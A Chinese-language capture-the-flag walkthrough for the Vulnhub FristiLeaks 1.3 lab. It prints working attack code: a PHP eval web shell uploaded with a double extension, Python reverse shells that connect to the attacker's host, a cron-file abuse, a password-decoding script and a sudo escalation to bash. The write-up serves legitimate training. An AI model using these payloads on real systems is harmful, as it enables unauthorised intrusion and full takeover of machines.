Vulnhub-FristiLeaks_1.3

一、靶机搭建

选择扫描虚拟机

选择路径即可

二、信息收集

靶机信息

php 复制代码
产品名称:Fristileaks 1.3 
作者:Ar0xA 
发布日期: 2015 年 12 月 14 日
目标:获取root(uid 0)并读取标志文件     #UID为0,即root权限
难度:初级 
说明: 一个为荷兰非正式黑客聚会Fristileaks制作的小型虚拟机。意味着可以在几个小时内破解,而不需要调试器、逆向工程等。。

扫ip

靶机ip:192.168.108.149

扫开放端口

只开放了一个80端口

扫版本服务信息

信息如下:

bash 复制代码
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

指纹探测

bash 复制代码
nmap 192.168.108.149 -p 80 -sV -sC -O --version-all 

信息如下:

bash 复制代码
运行版本: Linux 2.6.X|3.X|4.X (97%), Drobo embedded (89%), Synology DiskStation Manager 5.X (89%), LG embedded (88%), Tandberg embedded (88%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/h:drobo:5n cpe:/a:synology:diskstation_manager:5.2
Aggressive OS guesses: Linux 2.6.32 - 3.10 (97%), Linux 2.6.32 - 3.13 (97%), Linux 2.6.39 (94%), Linux 2.6.32 - 3.5 (92%), Linux 3.2 (91%), Linux 3.2 - 3.16 (91%), Linux 3.2 - 3.8 (91%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%)

目录扫描

dirb扫描

dirsearch扫描

信息如下:

bash 复制代码
http://192.168.108.149/robots.txt
http://192.168.108.149/index.php

三、Web渗透

信息收集

看看80端口,给了个提示,应该在4个小时完成

访问之前扫描出来的robots.txt,给了下面的提示

逐个访问都是下面的提示

这里根据一开始页面的信息,试了fristi目录,是一个登录页面

看看源码,意思是源码的图片使用base64加密,并且放了一些信息,作者:eezeepz,这个作者很重要

翻到下面是一串base64编码,解码过来是图片转过来的

利用随波逐流转换成图片

得到下面的信息,keKkeKKeKKeKkEkkEk,应该是密码

登录

登录成功

文件上传

点击上传文件,先上传一个php后缀木马,发现只允许上传图片格式

这里利用 shell.php.jpg上传,实际上会被服务器认为是jpg文件,但是会解析php内容

php 复制代码
track
<?php @eval($_POST["a"]);?>

访问成功

执行一下系统命令

python反弹shell

代码如下

php 复制代码
url/fristi/uploads/shell.php.jpg?a=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.108.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

反弹成功

四、提权

信息收集

找找可以利用的信息

进入home目录看看,在提权的时候,没有什么头绪就可以去home目录和tmp 目录下看看,发现三个目录,进入eezeepz看看

ls -la查看一下,发现一个notes.txt文件

查看该文本

如下

复制代码
我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件。
然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了
来自/home/admin/
不要忘记为每个二进制文件指定完整路径!
只需在/tmp/中放入一个名为"runthis"的文件,每行一个命令。这个输出转到/tmp/中的文件"cronresult"。它应该以我的帐户权限每分钟运行一次。

反向shell+脚本解密

这里的意思应该是只能利用 /usr/bin 目录下的文件,要求在/tmp目录下放一个runthis文件,以amdin权限每分钟运行一次,写一个脚本

这是一个反向shell脚本

py 复制代码
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.108.130",5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

开启web服务

进入tmp目录,将其下载下来

将1.py执行的结果输入到runthis,即每分钟在该目录下执行一次

py 复制代码
echo '/usr/bin/python /tmp/1.py' > runthis

这里开启监听,不过需要等一会,链接成功

先用python切换为交互模式,发现两个文本还有一个可能是用户名fristigod

信息如下,是某种加密而且做了逆向输出

bash 复制代码
cryptedpass.txt:mVGZ3O3omkJLmy2pcuTq
whoisyourgodnow.txt:=RFn0AKnlMHMPIzpyuTI0ITG

看看加密脚本

py 复制代码
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

写一个解密脚本2.py

py 复制代码
import base64,codecs,sys

def decodeString(str):
    base64string= codecs.decode(str,'rot13')
    return base64.b64decode(base64string[::-1])

cryptoResult=decodeString(sys.argv[1])
print cryptoResult

赋予权限并执行

执行

得到以下信息

py 复制代码
thisisalsopw123
LetThereBeFristi!

链接新用户

链接fristigod用户,尝试上面的密码

执行成功,找找可以信息,发现一处任何用户都可以执行的脚本

直接以当前用户执行它并赋予bash权限

bash 复制代码
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

提权成功

找找flag在那,成功发现

相关推荐
网安加社区7 小时前
国内外网络安全政策动态(2025年3月)
网络安全·政策动态
H轨迹H10 小时前
HTB-UnderPass
网络安全·渗透测试·hack the box·web漏洞·oscp
D1TAsec15 小时前
gRPC+Proto 实现键盘记录器 —— 深度实战解析
网络安全
梧六柒16 小时前
1.5-APP的架构\微信小程序的架构
网络安全
盐焗星球18 小时前
小型园区网实验
服务器·网络安全
上海云盾商务经理杨杨1 天前
DDoS防护:从基础认知到实战防御的全方位指南
服务器·网络安全·ddos
网安小陈1 天前
【网安】处理项目中的一些常见漏洞bug(java相关)
java·开发语言·数据库·安全·web安全·网络安全·bug
网安小陈1 天前
【云计算】打造高效容器云平台:规划、部署与架构设计
android·安全·web安全·网络安全·云计算·xss
雪山青木2 天前
php-cgi参数注入攻击经历浅谈
开发语言·网络安全·阿里云·php